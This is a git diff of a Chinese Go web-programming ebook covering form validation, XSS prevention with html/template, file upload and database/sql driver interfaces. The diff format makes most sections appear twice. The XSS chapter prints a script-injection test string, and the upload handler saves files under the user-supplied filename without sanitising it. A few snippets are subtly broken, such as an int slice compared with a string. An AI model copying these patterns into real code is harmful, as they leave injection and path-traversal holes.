>Go实现的正则是[RE2](http://code.google.com/p/re2/wiki/Syntax)所有的字符都是UTF-8编码的。
## 中文
有时候我们想通过表单元素获取一个用户的中文名字,但是又为了保证获取的是正确的中文,我们需要进行验证,而不是用户随便的一些输入。对于中文我们目前有效的验证只有正则方式来验证,如下代码所示
if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m {
return false
}
## 英文
我们期望通过表单元素获取一个英文值例如我们想知道一个用户的英文名应该是astaxie而不是asta谢。
我们可以很简单的通过正则验证数据:
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
return false
}
## 电子邮件地址
你想知道用户输入的一个Email地址是否正确通过如下这个方式可以验证
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
fmt.Println("no")
}else{
fmt.Println("yes")
}
## 手机号码
你想要判断用户输入的手机号码是否正确,通过正则也可以验证:
if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {
return false
}
## 下拉菜单
如果我们想要判断表单里面`<select>`元素生成的下拉菜单中是否有被选中的项目。有些时候黑客可能会伪造这个下拉菜单不存在的值发送给你,那么如何判断这个值是否是我们预设的值呢?
我们的select可能是这样的一些元素
<select name="fruit">
<option value="apple">apple</option>
<option value="pear">pear</option>
<option value="banane">banane</option>
</select>
那么我们可以这样来验证
slice:=[]string{"apple","pear","banane"}
for _, v := range slice {
if v == r.Form.Get("fruit") {
return true
}
}
return false
上面这个函数包含在我开源的一个库里面(操作slice和map的库)[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku)
## 单选按钮
如果我们想要判断radio按钮是否有一个被选中了我们页面的输出可能就是一个男、女性别的选择但是也可能一个15岁大的无聊小孩一手拿着http协议的书另一只手通过telnet客户端向你的程序在发送请求呢你设定的性别男值是1女是2他给你发送一个3你的程序会出现异常吗因此我们也需要像下拉菜单的判断方式类似判断我们获取的值是我们预设的值而不是额外的值。
<input type="radio" name="gender" value="1">男
<input type="radio" name="gender" value="2">女
那我们也可以类似下拉菜单的做法一样
slice:=[]int{1,2}
for _, v := range slice {
if v == r.Form.Get("gender") {
return true
}
}
return false
## 复选框
有一项选择兴趣的复选框,你想确定用户选中的和你提供给用户选择的是同一个类型的数据。
<input type="checkbox" name="interest" value="football">足球
<input type="checkbox" name="interest" value="basketball">篮球
<input type="checkbox" name="interest" value="tennis">网球
对于复选框我们的验证和单选有点不一样因为接收到的数据是一个slice
slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
return true
}
return false
## 日期和时间
你想确定用户填写的日期或时间是否有效。例如
用户在日程表中安排8月份的第45天开会或者提供未来的某个时间作为生日。
Go里面提供了一个time的处理包我们可以把用户的输入年月日转化成相应的时间然后进行逻辑判断
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
fmt.Printf("Go launched at %s\n", t.Local())
获取time之后我们就可以进行很多时间函数的操作。具体的判断就根据自己的需求调整。
## 身份证号码
如果我们想验证表单输入的是否是身份证通过正则也可以方便的验证但是身份证有15位和18位我们两个都需要验证
//验证15位身份证15位的是全部数字
if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {
return false
}
//验证18位身份证18位前17位为数字最后一位是校验位可能为数字或字符X。
if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {
return false
}
上面列出了我们一些常用的服务器端的表单元素验证希望通过这个引导入门能够让你对Go的数据验证有所了解特别是Go里面的正则处理。
## links
* [目录](<preface.md>)
* 上一节: [处理表单的输入](<04.1.md>)
* 下一节: [预防跨站脚本](<04.3.md>)
# 4.2 验证表单的输入
开发Web的一个原则就是不能信任用户输入的任何信息所以验证和过滤用户的输入信息就变得非常重要我们经常会在微博、新闻中听到某某网站被入侵了存在什么漏洞这些大多是因为网站对于用户输入的信息没有做严格的验证引起的所以为了编写出安全可靠的Web程序验证表单输入的意义重大。
我们平常编写Web应用主要有两方面的数据验证一个是在页面端的js验证(目前在这方面有很多的插件库比如ValidationJS插件),一个是在服务器端的验证,我们这小节讲解的是如何在服务器端验证。
## 必填字段
你想要确保从一个表单元素中得到一个值例如前面小节里面的用户名我们如何处理呢Go有一个内置函数`len`可以获取字符串的长度这样我们就可以通过len来获取数据的长度例如
if len(r.Form["username"][0])==0{
//为空的处理
}
`r.Form`对不同类型的表单元素的留空有不同的处理, 对于空文本框、空文本区域以及文件上传,元素的值为空值,而如果是未选中的复选框和单选按钮则根本不会在r.Form中产生相应条目如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值如果是map的值必须通过上面的方式来获取。
## 数字
你想要确保一个表单输入框中获取的只能是数字例如你想通过表单获取某个人的具体年龄是50岁还是10岁而不是像“一把年纪了”或“年轻着呢”这种描述
如果我们是判断正整数那么我们先转化成int类型然后进行处理
getint,err:=strconv.Atoi(r.Form.Get("age"))
if err!=nil{
//数字转化出错了,那么可能就不是数字
}
//接下来就可以判断这个数字的大小范围了
if getint >100 {
//太大了
}
还有一种方式就是正则匹配的方式
if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m {
return false
}
对于性能要求很高的用户来说这是一个老生常谈的问题了他们认为应该尽量避免使用正则表达式因为使用正则表达式的速度会比较慢。但是在目前机器性能那么强劲的情况下对于这种简单的正则表达式效率和类型转换函数是没有什么差别的。如果你对正则表达式很熟悉而且你在其它语言中也在使用它那么在Go里面使用正则表达式将是一个便利的方式。
>Go实现的正则是[RE2](http://code.google.com/p/re2/wiki/Syntax)所有的字符都是UTF-8编码的。
## 中文
有时候我们想通过表单元素获取一个用户的中文名字,但是又为了保证获取的是正确的中文,我们需要进行验证,而不是用户随便的一些输入。对于中文我们目前有效的验证只有正则方式来验证,如下代码所示
if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("realname")); !m {
return false
}
## 英文
我们期望通过表单元素获取一个英文值例如我们想知道一个用户的英文名应该是astaxie而不是asta谢。
我们可以很简单的通过正则验证数据:
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {
return false
}
## 电子邮件地址
你想知道用户输入的一个Email地址是否正确通过如下这个方式可以验证
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m {
fmt.Println("no")
}else{
fmt.Println("yes")
}
## 手机号码
你想要判断用户输入的手机号码是否正确,通过正则也可以验证:
if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {
return false
}
## 下拉菜单
如果我们想要判断表单里面`<select>`元素生成的下拉菜单中是否有被选中的项目。有些时候黑客可能会伪造这个下拉菜单不存在的值发送给你,那么如何判断这个值是否是我们预设的值呢?
我们的select可能是这样的一些元素
<select name="fruit">
<option value="apple">apple</option>
<option value="pear">pear</option>
<option value="banane">banane</option>
</select>
那么我们可以这样来验证
slice:=[]string{"apple","pear","banane"}
for _, v := range slice {
if v == r.Form.Get("fruit") {
return true
}
}
return false
上面这个函数包含在我开源的一个库里面(操作slice和map的库)[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku)
## 单选按钮
如果我们想要判断radio按钮是否有一个被选中了我们页面的输出可能就是一个男、女性别的选择但是也可能一个15岁大的无聊小孩一手拿着http协议的书另一只手通过telnet客户端向你的程序在发送请求呢你设定的性别男值是1女是2他给你发送一个3你的程序会出现异常吗因此我们也需要像下拉菜单的判断方式类似判断我们获取的值是我们预设的值而不是额外的值。
<input type="radio" name="gender" value="1">男
<input type="radio" name="gender" value="2">女
那我们也可以类似下拉菜单的做法一样
slice:=[]int{1,2}
for _, v := range slice {
if v == r.Form.Get("gender") {
return true
}
}
return false
## 复选框
有一项选择兴趣的复选框,你想确定用户选中的和你提供给用户选择的是同一个类型的数据。
<input type="checkbox" name="interest" value="football">足球
<input type="checkbox" name="interest" value="basketball">篮球
<input type="checkbox" name="interest" value="tennis">网球
对于复选框我们的验证和单选有点不一样因为接收到的数据是一个slice
slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
return true
}
return false
## 日期和时间
你想确定用户填写的日期或时间是否有效。例如
用户在日程表中安排8月份的第45天开会或者提供未来的某个时间作为生日。
Go里面提供了一个time的处理包我们可以把用户的输入年月日转化成相应的时间然后进行逻辑判断
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
fmt.Printf("Go launched at %s\n", t.Local())
获取time之后我们就可以进行很多时间函数的操作。具体的判断就根据自己的需求调整。
## 身份证号码
如果我们想验证表单输入的是否是身份证通过正则也可以方便的验证但是身份证有15位和18位我们两个都需要验证
//验证15位身份证15位的是全部数字
if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m {
return false
}
//验证18位身份证18位前17位为数字最后一位是校验位可能为数字或字符X。
if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m {
return false
}
上面列出了我们一些常用的服务器端的表单元素验证希望通过这个引导入门能够让你对Go的数据验证有所了解特别是Go里面的正则处理。
## links
* [目录](<preface.md>)
* 上一节: [处理表单的输入](<04.1.md>)
* 下一节: [预防跨站脚本](<04.3.md>)

136
04.3.md → ebook/04.3.md Executable file → Normal file
View File

@@ -1,68 +1,68 @@
# 4.3 预防跨站脚本
现在的网站包含大量的动态内容以提高用户体验比过去要复杂得多。所谓动态内容就是根据用户环境和需要Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、 ActiveX或Flash以欺骗用户。一旦得手他们可以盗取用户帐户信息修改用户设置盗取/污染cookie和植入恶意广告等。
对XSS最佳的防护应该结合以下两种方法一是验证所有输入数据有效检测攻击(这个我们前面小节已经有过介绍);另一个是对所有输出数据进行适当的处理,以防止任何已成功注入的脚本在浏览器端运行。
那么Go里面是怎么做这个有效防护的呢Go的html/template里面带有下面几个函数可以帮你转义
- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w
- func HTMLEscapeString(s string) string //转义s之后返回结果字符串
- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串
我们看4.1小节的例子
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
如果我们输入的username是`<script>alert()</script>`,那么我们可以在浏览器上面看到输出如下所示:
![](images/4.3.escape.png?raw=true)
图4.3 Javascript过滤之后的输出
Go的html/template包默认帮你过滤了html标签但是有时候你只想要输出这个`<script>alert()</script>`看起来正常的信息该怎么处理请使用text/template。请看下面的例子
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
输出
Hello, <script>alert('you have been pwned')</script>!
或者使用template.HTML类型
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
输出
Hello, <script>alert('you have been pwned')</script>!
转换成`template.HTML`后,变量的内容也不会被转义
转义的例子:
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
转义之后的输出:
Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
## links
* [目录](<preface.md>)
* 上一节: [验证的输入](<04.2.md>)
* 下一节: [防止多次递交表单](<04.4.md>)
# 4.3 预防跨站脚本
现在的网站包含大量的动态内容以提高用户体验比过去要复杂得多。所谓动态内容就是根据用户环境和需要Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”Cross Site Scripting, 安全专家们通常将其缩写成 XSS的威胁而静态站点则完全不受其影响。
攻击者通常会在有漏洞的程序中插入JavaScript、VBScript、 ActiveX或Flash以欺骗用户。一旦得手他们可以盗取用户帐户信息修改用户设置盗取/污染cookie和植入恶意广告等。
对XSS最佳的防护应该结合以下两种方法一是验证所有输入数据有效检测攻击(这个我们前面小节已经有过介绍);另一个是对所有输出数据进行适当的处理,以防止任何已成功注入的脚本在浏览器端运行。
那么Go里面是怎么做这个有效防护的呢Go的html/template里面带有下面几个函数可以帮你转义
- func HTMLEscape(w io.Writer, b []byte) //把b进行转义之后写到w
- func HTMLEscapeString(s string) string //转义s之后返回结果字符串
- func HTMLEscaper(args ...interface{}) string //支持多个参数一起转义,返回结果字符串
我们看4.1小节的例子
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端
如果我们输入的username是`<script>alert()</script>`,那么我们可以在浏览器上面看到输出如下所示:
![](images/4.3.escape.png?raw=true)
图4.3 Javascript过滤之后的输出
Go的html/template包默认帮你过滤了html标签但是有时候你只想要输出这个`<script>alert()</script>`看起来正常的信息该怎么处理请使用text/template。请看下面的例子
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
输出
Hello, <script>alert('you have been pwned')</script>!
或者使用template.HTML类型
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('you have been pwned')</script>"))
输出
Hello, <script>alert('you have been pwned')</script>!
转换成`template.HTML`后,变量的内容也不会被转义
转义的例子:
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwned')</script>")
转义之后的输出:
Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/script&gt;!
## links
* [目录](<preface.md>)
* 上一节: [验证的输入](<04.2.md>)
* 下一节: [防止多次递交表单](<04.4.md>)

0
04.4.md → ebook/04.4.md Executable file → Normal file
View File

310
04.5.md → ebook/04.5.md Executable file → Normal file
View File

@@ -1,155 +1,155 @@
# 4.5 处理文件上传
你想处理一个由用户上传的文件比如你正在建设一个类似Instagram的网站你需要存储用户拍摄的照片。这种需求该如何实现呢
要使表单能够上传文件首先第一步就是要添加form的`enctype`属性,`enctype`属性有如下三种情况:
application/x-www-form-urlencoded 表示在发送前编码所有字符(默认)
multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。
text/plain 空格转换为 "+" 加号,但不对特殊字符编码。
所以表单的html代码应该类似于:
<html>
<head>
<title>上传文件</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1:9090/upload" method="post">
<input type="file" name="uploadfile" />
<input type="hidden" name="token" value="{{.}}"/>
<input type="submit" value="upload" />
</form>
</body>
</html>
在服务器端我们增加一个handlerFunc:
http.HandleFunc("/upload", upload)
// 处理/upload 逻辑
func upload(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
crutime := time.Now().Unix()
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("upload.gtpl")
t.Execute(w, token)
} else {
r.ParseMultipartForm(32 << 20)
file, handler, err := r.FormFile("uploadfile")
if err != nil {
fmt.Println(err)
return
}
defer file.Close()
fmt.Fprintf(w, "%v", handler.Header)
f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
}
}
通过上面的代码可以看到,处理文件上传我们需要调用`r.ParseMultipartForm`,里面的参数表示`maxMemory`,调用`ParseMultipartForm`之后,上传的文件存储在`maxMemory`大小的内存里面,如果文件大小超过了`maxMemory`,那么剩下的部分将存储在系统的临时文件中。我们可以通过`r.FormFile`获取上面的文件句柄,然后实例中使用了`io.Copy`来存储文件。
>获取其他非文件字段信息的时候就不需要调用`r.ParseForm`因为在需要的时候Go自动会去调用。而且`ParseMultipartForm`调用一次之后,后面再次调用不会再有效果。
通过上面的实例我们可以看到我们上传文件主要三步处理:
1. 表单中增加enctype="multipart/form-data"
2. 服务端调用`r.ParseMultipartForm`,把上传的文件存储在内存和临时文件中
3. 使用`r.FormFile`获取文件句柄,然后对文件进行存储等处理。
文件handler是multipart.FileHeader,里面存储了如下结构信息
type FileHeader struct {
Filename string
Header textproto.MIMEHeader
// contains filtered or unexported fields
}
我们通过上面的实例代码打印出来上传文件的信息如下
![](images/4.5.upload2.png?raw=true)
图4.5 打印文件上传后服务器端接受的信息
## 客户端上传文件
我们上面的例子演示了如何通过表单上传文件然后在服务器端处理文件其实Go支持模拟客户端表单功能支持文件上传详细用法请看如下示例
package main
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
)
func postFile(filename string, targetUrl string) error {
bodyBuf := &bytes.Buffer{}
bodyWriter := multipart.NewWriter(bodyBuf)
//关键的一步操作
fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
if err != nil {
fmt.Println("error writing to buffer")
return err
}
//打开文件句柄操作
fh, err := os.Open(filename)
if err != nil {
fmt.Println("error opening file")
return err
}
//iocopy
_, err = io.Copy(fileWriter, fh)
if err != nil {
return err
}
contentType := bodyWriter.FormDataContentType()
bodyWriter.Close()
resp, err := http.Post(targetUrl, contentType, bodyBuf)
if err != nil {
return err
}
defer resp.Body.Close()
resp_body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
fmt.Println(resp.Status)
fmt.Println(string(resp_body))
return nil
}
// sample usage
func main() {
target_url := "http://localhost:9090/upload"
filename := "./astaxie.pdf"
postFile(filename, target_url)
}
上面的例子详细展示了客户端如何向服务器上传一个文件的例子客户端通过multipart.Write把文件的文本流写入一个缓存中然后调用http的Post方法把缓存传到服务器。
>如果你还有其他普通字段例如username之类的需要同时写入那么可以调用multipart的WriteField方法写很多其他类似的字段。
## links
* [目录](<preface.md>)
* 上一节: [防止多次递交表单](<04.4.md>)
* 下一节: [小结](<04.6.md>)
# 4.5 处理文件上传
你想处理一个由用户上传的文件比如你正在建设一个类似Instagram的网站你需要存储用户拍摄的照片。这种需求该如何实现呢
要使表单能够上传文件首先第一步就是要添加form的`enctype`属性,`enctype`属性有如下三种情况:
application/x-www-form-urlencoded 表示在发送前编码所有字符(默认)
multipart/form-data 不对字符编码。在使用包含文件上传控件的表单时,必须使用该值。
text/plain 空格转换为 "+" 加号,但不对特殊字符编码。
所以表单的html代码应该类似于:
<html>
<head>
<title>上传文件</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1:9090/upload" method="post">
<input type="file" name="uploadfile" />
<input type="hidden" name="token" value="{{.}}"/>
<input type="submit" value="upload" />
</form>
</body>
</html>
在服务器端我们增加一个handlerFunc:
http.HandleFunc("/upload", upload)
// 处理/upload 逻辑
func upload(w http.ResponseWriter, r *http.Request) {
fmt.Println("method:", r.Method) //获取请求的方法
if r.Method == "GET" {
crutime := time.Now().Unix()
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
token := fmt.Sprintf("%x", h.Sum(nil))
t, _ := template.ParseFiles("upload.gtpl")
t.Execute(w, token)
} else {
r.ParseMultipartForm(32 << 20)
file, handler, err := r.FormFile("uploadfile")
if err != nil {
fmt.Println(err)
return
}
defer file.Close()
fmt.Fprintf(w, "%v", handler.Header)
f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
}
}
通过上面的代码可以看到,处理文件上传我们需要调用`r.ParseMultipartForm`,里面的参数表示`maxMemory`,调用`ParseMultipartForm`之后,上传的文件存储在`maxMemory`大小的内存里面,如果文件大小超过了`maxMemory`,那么剩下的部分将存储在系统的临时文件中。我们可以通过`r.FormFile`获取上面的文件句柄,然后实例中使用了`io.Copy`来存储文件。
>获取其他非文件字段信息的时候就不需要调用`r.ParseForm`因为在需要的时候Go自动会去调用。而且`ParseMultipartForm`调用一次之后,后面再次调用不会再有效果。
通过上面的实例我们可以看到我们上传文件主要三步处理:
1. 表单中增加enctype="multipart/form-data"
2. 服务端调用`r.ParseMultipartForm`,把上传的文件存储在内存和临时文件中
3. 使用`r.FormFile`获取文件句柄,然后对文件进行存储等处理。
文件handler是multipart.FileHeader,里面存储了如下结构信息
type FileHeader struct {
Filename string
Header textproto.MIMEHeader
// contains filtered or unexported fields
}
我们通过上面的实例代码打印出来上传文件的信息如下
![](images/4.5.upload2.png?raw=true)
图4.5 打印文件上传后服务器端接受的信息
## 客户端上传文件
我们上面的例子演示了如何通过表单上传文件然后在服务器端处理文件其实Go支持模拟客户端表单功能支持文件上传详细用法请看如下示例
package main
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
)
func postFile(filename string, targetUrl string) error {
bodyBuf := &bytes.Buffer{}
bodyWriter := multipart.NewWriter(bodyBuf)
//关键的一步操作
fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
if err != nil {
fmt.Println("error writing to buffer")
return err
}
//打开文件句柄操作
fh, err := os.Open(filename)
if err != nil {
fmt.Println("error opening file")
return err
}
//iocopy
_, err = io.Copy(fileWriter, fh)
if err != nil {
return err
}
contentType := bodyWriter.FormDataContentType()
bodyWriter.Close()
resp, err := http.Post(targetUrl, contentType, bodyBuf)
if err != nil {
return err
}
defer resp.Body.Close()
resp_body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
fmt.Println(resp.Status)
fmt.Println(string(resp_body))
return nil
}
// sample usage
func main() {
target_url := "http://localhost:9090/upload"
filename := "./astaxie.pdf"
postFile(filename, target_url)
}
上面的例子详细展示了客户端如何向服务器上传一个文件的例子客户端通过multipart.Write把文件的文本流写入一个缓存中然后调用http的Post方法把缓存传到服务器。
>如果你还有其他普通字段例如username之类的需要同时写入那么可以调用multipart的WriteField方法写很多其他类似的字段。
## links
* [目录](<preface.md>)
* 上一节: [防止多次递交表单](<04.4.md>)
* 下一节: [小结](<04.6.md>)

18
04.6.md → ebook/04.6.md Executable file → Normal file
View File

@@ -1,9 +1,9 @@
# 4.6 小结
这一章里面我们学习了Go如何处理表单信息我们通过用户登陆、上传文件的例子展示了Go处理form表单信息及上传文件的手段。但是在处理表单过程中我们需要验证用户输入的信息考虑到网站安全的重要性数据过滤就显得相当重要了因此后面的章节中专门写了一个小节来讲解了不同方面的数据过滤顺带讲一下Go对字符串的正则处理。
通过这一章能够让你了解客户端和服务器端是如何进行数据上的交互,客户端将数据传递给服务器系统,服务器接受数据又把处理结果反馈给客户端。
## links
* [目录](<preface.md>)
* 上一节: [处理文件上传](<04.5.md>)
* 下一章: [访问数据库](<05.0.md>)
# 4.6 小结
这一章里面我们学习了Go如何处理表单信息我们通过用户登陆、上传文件的例子展示了Go处理form表单信息及上传文件的手段。但是在处理表单过程中我们需要验证用户输入的信息考虑到网站安全的重要性数据过滤就显得相当重要了因此后面的章节中专门写了一个小节来讲解了不同方面的数据过滤顺带讲一下Go对字符串的正则处理。
通过这一章能够让你了解客户端和服务器端是如何进行数据上的交互,客户端将数据传递给服务器系统,服务器接受数据又把处理结果反馈给客户端。
## links
* [目录](<preface.md>)
* 上一节: [处理文件上传](<04.5.md>)
* 下一章: [访问数据库](<05.0.md>)

28
05.0.md → ebook/05.0.md Executable file → Normal file
View File

@@ -1,14 +1,14 @@
# 5 访问数据库
对许多Web应用程序而言数据库都是其核心所在。数据库几乎可以用来存储你想查询和修改的任何信息比如用户信息、产品目录或者新闻列表等。
Go没有内置的驱动支持任何的数据库但是Go定义了database/sql接口用户可以基于驱动接口开发相应数据库的驱动5.1小节里面介绍Go设计的一些驱动介绍Go是如何设计数据库驱动接口的。5.2至5.4小节介绍目前使用的比较多的一些关系型数据驱动以及如何使用5.5小节介绍我自己开发一个ORM库基于database/sql标准接口开发的可以兼容几乎所有支持database/sql的数据库驱动可以方便的使用Go style来进行数据库操作。
目前NOSQL已经成为Web开发的一个潮流很多应用采用了NOSQL作为数据库而不是以前的缓存5.6小节将介绍MongoDB和Redis两种NOSQL数据库。
## 目录
![](images/navi5.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第四章总结](<04.6.md>)
* 下一节: [database/sql接口](<05.1.md>)
# 5 访问数据库
对许多Web应用程序而言数据库都是其核心所在。数据库几乎可以用来存储你想查询和修改的任何信息比如用户信息、产品目录或者新闻列表等。
Go没有内置的驱动支持任何的数据库但是Go定义了database/sql接口用户可以基于驱动接口开发相应数据库的驱动5.1小节里面介绍Go设计的一些驱动介绍Go是如何设计数据库驱动接口的。5.2至5.4小节介绍目前使用的比较多的一些关系型数据驱动以及如何使用5.5小节介绍我自己开发一个ORM库基于database/sql标准接口开发的可以兼容几乎所有支持database/sql的数据库驱动可以方便的使用Go style来进行数据库操作。
目前NOSQL已经成为Web开发的一个潮流很多应用采用了NOSQL作为数据库而不是以前的缓存5.6小节将介绍MongoDB和Redis两种NOSQL数据库。
## 目录
![](images/navi5.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第四章总结](<04.6.md>)
* 下一节: [database/sql接口](<05.1.md>)

408
05.1.md → ebook/05.1.md Executable file → Normal file
View File

@@ -1,204 +1,204 @@
# 5.1 database/sql接口
Go与PHP不同的地方是Go没有官方提供数据库驱动而是为开发者开发数据库驱动定义了一些标准接口开发者可以根据定义的接口来开发相应的数据库驱动这样做有一个好处只要按照标准接口开发的代码 以后需要迁移数据库时不需要任何修改。那么Go都定义了哪些标准接口呢让我们来详细的分析一下
## sql.Register
这个存在于database/sql的函数是用来注册数据库驱动的当第三方开发者开发数据库驱动时都会实现init函数在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册。
我们来看一下mymysql、sqlite3的驱动里面都是怎么调用的
//https://github.com/mattn/go-sqlite3驱动
func init() {
sql.Register("sqlite3", &SQLiteDriver{})
}
//https://github.com/mikespook/mymysql驱动
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
Register("SET NAMES utf8")
sql.Register("mymysql", &d)
}
我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。
var drivers = make(map[string]driver.Driver)
drivers[name] = driver
因此通过database/sql的注册函数可以同时注册多个数据库驱动只要不重复。
>在我们使用database/sql接口和第三方库的时候经常看到如下:
> import (
> "database/sql"
> _ "github.com/mattn/go-sqlite3"
> )
>新手都会被这个`_`所迷惑其实这个就是Go设计的巧妙之处我们在变量赋值的时候经常看到这个符号它是用来忽略变量赋值的占位符那么包引入用到这个符号也是相似的作用这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数,变量等资源。
>我们在2.3节流程和函数的一节中介绍过init函数的初始化过程包在引入的时候会自动调用包的init函数以完成对包的初始化。因此我们引入上面的数据库驱动包之后要手动去调用init函数然后在init函数里面注册这个数据库驱动这样我们就可以在接下来的代码中直接使用这个数据库驱动了。
## driver.Driver
Driver是一个数据库驱动的接口他定义了一个method Open(name string)这个方法返回一个数据库的Conn接口。
type Driver interface {
Open(name string) (Conn, error)
}
返回的Conn只能用来进行一次goroutine的操作也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误
...
go goroutineA (Conn) //执行查询操作
go goroutineB (Conn) //执行插入操作
...
上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。
第三方驱动都会定义这个函数它会解析name参数来获取相关数据库的连接信息解析完成后它将使用此信息来初始化一个Conn并返回它。
## driver.Conn
Conn是一个数据库连接的接口定义他定义了一系列方法这个Conn只能应用在一个goroutine里面不能使用在多个goroutine里面详情请参考上面的说明。
type Conn interface {
Prepare(query string) (Stmt, error)
Close() error
Begin() (Tx, error)
}
Prepare函数返回与当前连接相关的执行Sql语句的准备状态可以进行查询、删除等操作。
Close函数关闭当前的连接执行释放连接拥有的资源等清理工作。因为驱动实现了database/sql里面建议的conn pool所以你不用再去实现缓存conn之类的这样会容易引起问题。
Begin函数返回一个代表事务处理的Tx通过它你可以进行查询,更新等操作,或者对事务进行回滚、递交。
## driver.Stmt
Stmt是一种准备好的状态和Conn相关联而且只能应用于一个goroutine中不能应用于多个goroutine。
type Stmt interface {
Close() error
NumInput() int
Exec(args []Value) (Result, error)
Query(args []Value) (Rows, error)
}
Close函数关闭当前的链接状态但是如果当前正在执行queryquery还是有效返回rows数据。
NumInput函数返回当前预留参数的个数当返回>=0时数据库驱动就会智能检查调用者的参数。当数据库驱动包不知道预留参数的时候返回-1。
Exec函数执行Prepare准备好的sql传入参数执行update/insert等操作返回Result数据
Query函数执行Prepare准备好的sql传入需要的参数执行select操作返回Rows结果集
## driver.Tx
事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以
type Tx interface {
Commit() error
Rollback() error
}
